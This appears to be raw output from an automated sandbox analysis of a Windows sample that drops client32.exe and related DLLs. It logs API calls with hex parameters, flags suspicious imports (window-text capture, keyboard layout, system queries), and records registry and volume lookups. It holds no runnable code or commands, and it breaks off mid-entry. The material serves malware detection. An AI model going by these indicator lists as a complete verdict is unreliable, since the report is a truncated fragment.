"GetVersionExA" with parameter 940000000600000002000000f02300000200000000810611c4202405dc202405a1c61e36c42024050000000008f58f00a00a0611c8bc1911dd4f19114cf58f0010000000040000004cf58f009cc019110100000028f58f008e220611c8bc1911dd4f19114cf58f0010000000000000000400000060f58f006fd30511c8bc1911dc4f19114cf58f0010000000a4139ca798f88f00 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000d68d71405a8d71c0908d71b0da8d71b0da8d7170db8d7140918d71c05a8d71305b8d71b05b8d71c05b8d7120608d7130608d7140608d71108f8d710000000000678d71e07a8d71f0f08d7110e58d71b0588e7100000000307b8d710000000050618e7170618e7130618e71905c8e7100be8d7100000000ffffffff68f58f00 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c7200000000000000000000000000000000000000000000000003cb1e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c7200000000000000000000000000000000000000000000000000cc1e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000fdcc1e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000100ca0020000000080e98f005916cd770100000008000000010000000000cc020000000010000000000000000000000002000000020000000000cc02010000000800000000000000a0e98f00ee13cd7701000000ee13cd77080000000000000008000000c569cbadd8eb8f00ad9c5b720000cc020800000001000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000038f66d540000008882d4020000000000000000200000000000000000000000b87af56d0000000000000000000000000000000000000000000000006868f56d000000000000000000000000000000000000000000000000000000000000000000807f0000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000c0000000000000000000000000000004065f66d020000005a1f141100000000000000008882d4024814f56d0000000000000000000000000001000038f18f00bf2acd774d33cd77c0db9469b40100000000c90288f18f000000000000000000000000000000000000e38f00 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000ebcd1e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c720000000000000000000000000000000000000000000000001acf1e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000ebcf1e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000d9d01e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000d6d11e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000d3d21e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000d0d31e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000cdd41e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000bbd51e3600000000 (UID: 00000000-00001628) "client32.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000018000000e99cce7763992d7230f9950500000000e0f8960500c72d72a0cd8d6cfeffffffb0e796059f362c720000000040d0b175ae362c72000000000000000000000000000000000000000000000000b8d61e3600000000 (UID: 00000000-00001628)38:T402,Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: pcicapi.dll] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: PCICL32.DLL] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: is-E4H59.tmp] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: is-HK8T3.tmp] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: TCCTL32.DLL] Observed import api "OpenProcessToken" which can be "used to retrieve process information" [Source: HTCTL32.DLL]39:T582,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetSystemTimes" (Indicator: "GetSystemTime"; Source: "00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp")3a:T637,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "client32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")3b:T68c,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp")3c:Tc0a,Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WTSRegisterSessionNotification" (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsForUserA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "NSMPlatformNT-ExpandEnvironmentStringsForUser(%s)" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "WTSRegisterSessionNotification" (Indicator: "WTSRegisterSessionNotification"; Source: "00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; Source: "00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp")3d:T582,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetSystemTimes" (Indicator: "GetSystemTime"; Source: "00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp")3e:Tc4e,Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowExA" (Indicator: "FindWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "Cobrowse FindWindow ret %x" (Indicator: "FindWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "FindWindowA" (Indicator: "FindWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "FindWindowExA" (Indicator: "FindWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp")3f:T71c,Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDefaultUILanguage" (Indicator: "GetSystemDefaultUILanguage"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardLayout" (Indicator: "GetKeyboardLayout"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardLayoutNameW" (Indicator: "GetKeyboardLayout"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetUserDefaultUILanguage" (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetUserDefaultLangID" (Indicator: "GetUserDefaultLangID"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetSystemDefaultLangID" (Indicator: "GetSystemDefaultLangID"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetKeyboardLayoutList" (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp")40:T97c,Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "VerifyVersionInfoA" (Indicator: "VerifyVersionInfo"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "DllGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")41:Tcda,"client32.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "") "client32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")42:T13c8,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" queries volume information of "C:\" at 00000000-00005220-00000C17-634937916 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00007184-00000C17-637566908 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00007184-00000C17-637807651 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007184-00000C17-639351739 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007184-00000C17-639562595 "powershell.exe" queries volume information of 